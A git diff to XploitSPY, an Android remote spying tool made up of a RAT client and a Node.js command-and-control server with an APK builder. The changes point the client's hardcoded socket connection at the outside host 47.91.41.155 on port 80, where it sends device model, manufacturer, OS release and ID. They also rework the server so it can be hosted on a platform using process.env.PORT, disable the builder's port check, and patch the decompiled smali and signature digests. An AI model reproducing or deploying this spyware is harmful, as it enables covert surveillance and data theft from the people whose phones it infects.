diff --git a/client/app/release/app-release.apk b/client/app/release/app-release.apk index e28cf48..9de703f 100644 Binary files a/client/app/release/app-release.apk and b/client/app/release/app-release.apk differ diff --git a/client/app/src/main/java/com/remote/app/IOSocket.java b/client/app/src/main/java/com/remote/app/IOSocket.java index 7d48b58..619c946 100644 --- a/client/app/src/main/java/com/remote/app/IOSocket.java +++ b/client/app/src/main/java/com/remote/app/IOSocket.java @@ -21,7 +21,7 @@ public class IOSocket { opts.reconnectionDelay = 5000; opts.reconnectionDelayMax = 999999999; - ioSocket = IO.socket("http://47.91.41.155:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID); + ioSocket = IO.socket("http://47.91.41.155:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID); } catch (URISyntaxException e) { e.printStackTrace(); } diff --git a/client/app/src/main/java/com/remote/app/MainService.java b/client/app/src/main/java/com/remote/app/MainService.java index d6c6d8d..e8caacc 100644 --- a/client/app/src/main/java/com/remote/app/MainService.java +++ b/client/app/src/main/java/com/remote/app/MainService.java @@ -145,7 +145,7 @@ public class MainService extends Service { .setPriority(NotificationManager.IMPORTANCE_MIN) .setCategory(Notification.CATEGORY_SERVICE) .build(); - startForeground(2, notification); + startForeground(1, notification); } diff --git a/client/client.iml b/client/client.iml index 7be0571..2304873 100644 --- a/client/client.iml +++ b/client/client.iml @@ -12,7 +12,6 @@ - diff --git a/server/Procfile b/server/Procfile new file mode 100644 index 0000000..24a0a8f --- /dev/null +++ b/server/Procfile @@ -0,0 +1 @@ +‘web: ./node_modules/.bin/forever -m 5 index.js’ diff --git a/server/app/factory/app-release.apk b/server/app/factory/app-release.apk index e28cf48..9de703f 100644 Binary files a/server/app/factory/app-release.apk and b/server/app/factory/app-release.apk differ diff --git a/server/app/factory/decompiled/apktool.yml b/server/app/factory/decompiled/apktool.yml index 59e9b87..a0aedff 100644 --- a/server/app/factory/decompiled/apktool.yml +++ b/server/app/factory/decompiled/apktool.yml @@ -3,6 +3,9 @@ apkFileName: app-release.apk compressionType: false doNotCompress: - resources.arsc +- META-INF/android.arch.lifecycle_runtime.version +- META-INF/androidx.core_core.version +- META-INF/androidx.versionedparcelable_versionedparcelable.version - png isFrameworkApk: false packageInfo: diff --git a/server/app/factory/decompiled/original/META-INF/CERT.RSA b/server/app/factory/decompiled/original/META-INF/CERT.RSA index 2d8dc3b..084c9c3 100644 Binary files a/server/app/factory/decompiled/original/META-INF/CERT.RSA and b/server/app/factory/decompiled/original/META-INF/CERT.RSA differ diff --git a/server/app/factory/decompiled/original/META-INF/CERT.SF b/server/app/factory/decompiled/original/META-INF/CERT.SF index 33fe0f7..f1ab235 100644 --- a/server/app/factory/decompiled/original/META-INF/CERT.SF +++ b/server/app/factory/decompiled/original/META-INF/CERT.SF @@ -1,6 +1,6 @@ Signature-Version: 1.0 Created-By: 1.0 (Android) -SHA1-Digest-Manifest: IHujA2NGKYWz+3kPuDWmNrScZo4= +SHA1-Digest-Manifest: Br7KZuMlRvkujFIEcFUfc9JLJHM= Name: AndroidManifest.xml SHA1-Digest: hMY5UmKutb2cZY4afr084GSFwLk= @@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws= Name: classes.dex -SHA1-Digest: YrT0vt4yEPhLbLEfpMIXvaRwR4s= +SHA1-Digest: CimfIcRvl0JGoxRUHDbve9dy95o= Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg= diff --git a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF index c7966d2..3349b83 100644 --- a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF +++ b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF @@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU= Name: classes.dex -SHA1-Digest: wKQ2CNuIgrZukBhVZNdy/5+Z4wA= +SHA1-Digest: ItDW7U9v+mbVk1bCaAtUqtsDPBQ= Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc= diff --git a/server/app/factory/decompiled/smali/com/remote/app/MainService.smali b/server/app/factory/decompiled/smali/com/remote/app/MainService.smali index 64a1c0f..f6293f3 100644 --- a/server/app/factory/decompiled/smali/com/remote/app/MainService.smali +++ b/server/app/factory/decompiled/smali/com/remote/app/MainService.smali @@ -67,16 +67,14 @@ invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(I)Landroid/support/v4/app/d$b; - const-string v1, "service" + const-string v2, "service" - invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b; + invoke-virtual {v0, v2}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b; invoke-virtual {v0}, Landroid/support/v4/app/d$b;->a()Landroid/app/Notification; move-result-object v0 - const/4 v1, 0x2 - invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V return-void diff --git a/server/assets/views/builder.ejs b/server/assets/views/builder.ejs index 4737586..a4f8aa4 100644 --- a/server/assets/views/builder.ejs +++ b/server/assets/views/builder.ejs @@ -71,7 +71,7 @@ var isDone = false; $('#gobuild').click((e) => { $('#dimmer').addClass('active'); - build($('#uriInput').val(), "22222"); + build($('#uriInput').val(), "80"); setTimeout(loaderText, 500); }); diff --git a/server/includes/apkBuilder.js b/server/includes/apkBuilder.js index 5e79852..a241cd6 100644 --- a/server/includes/apkBuilder.js +++ b/server/includes/apkBuilder.js @@ -20,7 +20,7 @@ function javaversion(callback) { } function patchAPK(URI, PORT, cb) { - if (PORT < 25565) { + // if (PORT < 25565) { fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) { if (err) return cb('File Patch Error - READ') var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT); @@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) { else return cb(false) }); }); - } + // } } function buildAPK(cb) { diff --git a/server/includes/const.js b/server/includes/const.js index b5bc977..2dff5a0 100644 --- a/server/includes/const.js +++ b/server/includes/const.js @@ -2,7 +2,7 @@ const path = require('path'); exports.debug = false; -exports.web_port = 22533; +exports.web_port = 80; exports.control_port = 22222; // Paths diff --git a/server/includes/expressRoutes.js b/server/includes/expressRoutes.js index fa34727..38bfb1a 100644 --- a/server/includes/expressRoutes.js +++ b/server/includes/expressRoutes.js @@ -75,7 +75,7 @@ routes.get('/logout', isAllowed, (req, res) => { routes.get('/builder', isAllowed, (req, res) => { res.render('builder', { - myPort: CONST.control_port + myPort: process.env.PORT || CONST.web_port }); }); diff --git a/server/index.js b/server/index.js index 7bd5fd5..d374913 100644 --- a/server/index.js +++ b/server/index.js @@ -8,7 +8,8 @@ const express = require('express'), app = express(), - IO = require('socket.io'), + server = require('http').createServer(app), + IO = require('socket.io')(server), geoip = require('geoip-lite'), CONST = require('./includes/const'), db = require('./includes/databaseGateway'), @@ -24,10 +25,11 @@ global.clientManager = clientManager; global.apkBuilder = apkBuilder; // spin up socket server -let client_io = IO.listen(CONST.control_port); +// let client_io = IO.listen(CONST.control_port); -client_io.sockets.pingInterval = 30000; -client_io.on('connection', (socket) => { +// client_io.sockets.pingInterval = 30000; +IO.sockets.pingInterval = 30000; +IO.on('connection', (socket) => { socket.emit('welcome'); let clientParams = socket.handshake.query; let clientAddress = socket.request.connection; @@ -65,7 +67,8 @@ client_io.on('connection', (socket) => { // get the admin interface online -app.listen(CONST.web_port); +// app.listen(CONST.web_port); +server.listen(process.env.PORT || CONST.web_port) app.set('view engine', 'ejs'); app.set('views', './assets/views'); diff --git a/server/package.json b/server/package.json index 1f2c10a..87fb764 100644 --- a/server/package.json +++ b/server/package.json @@ -4,6 +4,7 @@ "description": "XploitSPY - Remote Android Spying Tool", "main": "index.js", "scripts": { + "start": "node index.js", "test": "node index.js" }, "author": "ETechD", diff --git a/server/system.properties b/server/system.properties new file mode 100644 index 0000000..9146af5 --- /dev/null +++ b/server/system.properties @@ -0,0 +1 @@ +java.runtime.version=11